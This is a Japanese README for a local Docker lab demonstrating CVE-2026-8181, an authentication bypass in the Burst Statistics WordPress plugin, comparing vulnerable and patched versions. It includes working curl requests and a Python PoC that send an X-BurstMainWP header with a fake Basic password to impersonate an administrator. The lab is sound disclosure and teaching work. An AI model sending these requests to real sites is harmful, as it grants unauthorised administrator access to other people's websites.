
Burst Statistics WordPressプラグインにおけるCVE-2026-8181認証バイパスを実証するDockerラボ。脆弱なバージョンと修正済みバージョンを比較し、最小限の影響のPoCを使用してREST APIリクエストにおける不適切な認証を説明します。
CVE-2026-8181 のローカル専用 Docker ラボ。WordPress プラグイン Burst Statistics – Privacy-Friendly WordPress Analytics における認証バイパスです。
このラボでは、脆弱性のあるプラグインバージョンとパッチ適用済みバージョンを比較し、最小限の害の PoC を用いて、ユーザー作成、ファイルアップロード、WordPress 状態の変更を行わずにその違いを証明します。
影響を受けるプラグイン: Burst Statistics – Privacy-Friendly WordPress Analytics
影響を受けるバージョン: 3.4.0 から 3.4.1.1
パッチ適用済みバージョン: 3.4.2
脆弱性の種類: 認証バイパス / 不適切な認証
影響: 認証されていない攻撃者が、有効な管理者ユーザー名を知っていれば、REST API リクエストの期間中、管理者になりすますことができます。
このラボでは:
vuln は Burst Statistics 3.4.1.1 を実行patched は Burst Statistics 3.4.2 を実行X-BurstMainWP: 1 と偽の Basic 認証パスワードを送信seed サービスは両方の環境で WordPress をインストールし、ラボ管理者を作成し、Burst Statistics を有効化します。
ラボ管理者ユーザー名:
labadmin
PoC は意図的に間違ったパスワードを使用してバイパスを証明します。
Burst Statistics には MainWP 関連のプロキシ認証パスが含まれています。REST API リクエストに次のヘッダーが含まれる場合:
X-BurstMainWP: 1
Burst は認証を MainWP_Proxy::is_mainwp_authenticated() に委任します。
脆弱なバージョンでは、この関数は攻撃者が制御する Basic 認証クレデンシャルを読み取り、ユーザー名とパスワードを抽出して WordPress コアに渡します:
$is_valid = wp_authenticate_application_password( null, $username, $password );
問題は戻り値のチェックです。
3.4.1.1includes/Frontend/class-mainwp-proxy.php から簡略化:
$is_valid = wp_authenticate_application_password( null, $username, $password );
if ( is_wp_error( $is_valid ) ) {
return false;
}
$user = get_user_by( 'login', $username );
if ( ! $user || ! user_can( $user, 'manage_burst_statistics' ) ) {
return false;
}
wp_set_current_user( $user->ID );
return true;
脆弱なコードは WP_Error のみを拒否します。しかし、wp_authenticate_application_password() は認証が実際に成功しなかった場合に null やその他のユーザー以外の値を返すことがあります。null は WP_Error ではないため、チェックを通過します。
その後、プラグインは指定されたユーザー名を検索し、次のように呼び出します:
wp_set_current_user( $user->ID );
これにより、WordPress は現在の REST API リクエストをそのユーザーとして扱います。ユーザー名が管理者に属している場合、WordPress の権限チェックはリクエストの残りの期間、管理者として認識します。
パッチ適用済みバージョンは、認証チェックを修正し、処理を進める前に実際の認証済みユーザーオブジェクトを要求します。
3.4.2概念的には、修正は次のとおりです:
$authenticated_user = wp_authenticate_application_password( null, $parts[0], $parts[1] );
remove_filter( 'application_password_is_api_request', $allow_application_password_request, 999 );
if ( ! $authenticated_user instanceof \WP_User ) {
return false;
}
重要な変更点は、単に「エラーではない」戻り値では不十分になったことです。認証結果は実際の \WP_User オブジェクトでなければなりません。
これにより、null が古い is_wp_error() チェックをバイパスする脆弱な経路をブロックします。
このラボは、次のエンドポイントを使用した読み取り専用の証明を示しています:
/wp/v2/users/me?context=edit
このエンドポイントは、WordPress がリクエストを認証済みと見なすかどうかを示すのに十分です。
実際の影響は、このラボの証明よりも大きくなる可能性があります。攻撃者が REST API リクエストの管理者になりすますことができれば、特権のある WordPress エンドポイントにアクセスできる可能性があります。一般的な WordPress 構成では、管理者アクセスは、アカウント作成、アプリケーションパスワード、プラグインインストール、テーマ変更、その他の管理操作を通じて、永続的なサイト乗っ取りにつながる可能性があります。
このリポジトリは、これらの破壊的な経路を意図的に避けています。
docker compose up -d --build
1回限りの seed サービスが完了するのを待ちます:
docker compose logs seed
期待される seed の出力:
[+] vuln: Burst Statistics version = 3.4.1.1
[+] patched: Burst Statistics version = 3.4.2
[+] Seed complete
Python の依存関係をインストール:
python3 -m venv .venv
source .venv/bin/activate
pip install requests
脆弱なサービスに対して PoC を実行:
python poc/poc.py --base-url http://127.0.0.1:8081 --admin-user labadmin
期待される脆弱な結果:
=== baseline without bypass headers ===
status: 401
=== with X-BurstMainWP + fake Basic password ===
status: 200
roles: ["administrator"]
[+] LIKELY VULNERABLE: request was treated as an authenticated user/admin context.
同じ PoC をパッチ適用済みサービスに対して実行:
python poc/poc.py --base-url http://127.0.0.1:8082 --admin-user labadmin
期待されるパッチ適用済みの結果:
=== baseline without bypass headers ===
status: 401
=== with X-BurstMainWP + fake Basic password ===
status: 401
[+] LIKELY PATCHED/NOT VULNERABLE: bypass headers did not authenticate the request.
偽の Basic 認証トークンを生成:
TOKEN=$(printf 'labadmin:not-the-real-password' | base64)
バイパスヘッダーなしのベースラインリクエスト:
curl -sS -i \
'http://127.0.0.1:8081/?rest_route=/wp/v2/users/me&context=edit'
期待される出力:
HTTP/1.1 401 Unauthorized
rest_not_logged_in
バイパス試行:
curl -sS -i \
-H 'X-BurstMainWP: 1' \
-H "Authorization: Basic $TOKEN" \
'http://127.0.0.1:8081/?rest_route=/wp/v2/users/me&context=edit'
期待される出力:
HTTP/1.1 200 OK
"slug":"labadmin"
"roles":["administrator"]
同じバイパス試行をパッチ適用済みサービスに対して実行:
curl -sS -i \
-H 'X-BurstMainWP: 1' \
-H "Authorization: Basic $TOKEN" \
'http://127.0.0.1:8082/?rest_route=/wp/v2/users/me&context=edit'
期待される出力:
HTTP/1.1 401 Unauthorized
rest_not_logged_in
脆弱なサービスは動作の変化を明確に示します:
GET /?rest_route=/wp/v2/users/me&context=edit 401
GET /?rest_route=/wp/v2/users/me&context=edit 200
パッチ適用済みサービスは、認証なしの試行とバイパス試行の両方を拒否します:
GET /?rest_route=/wp/v2/users/me&context=edit 401
GET /?rest_route=/wp/v2/users/me&context=edit 401
この PoC は意図的に最小限の害に抑えられています:
このラボは、自身のローカル Docker 環境でのみ使用してください。
| サービス | 説明 | URL |
|---|
vuln | WordPress + Burst Statistics 3.4.1.1 | http://127.0.0.1:8081 |
patched | WordPress + Burst Statistics 3.4.2 | http://127.0.0.1:8082 |
db_vuln | 脆弱なWordPress用MySQL | 内部のみ |
db_patched | パッチ適用済みWordPress用MySQL | 内部のみ |
seed | 1回限りのWP-CLIセットアップコンテナ | 内部のみ |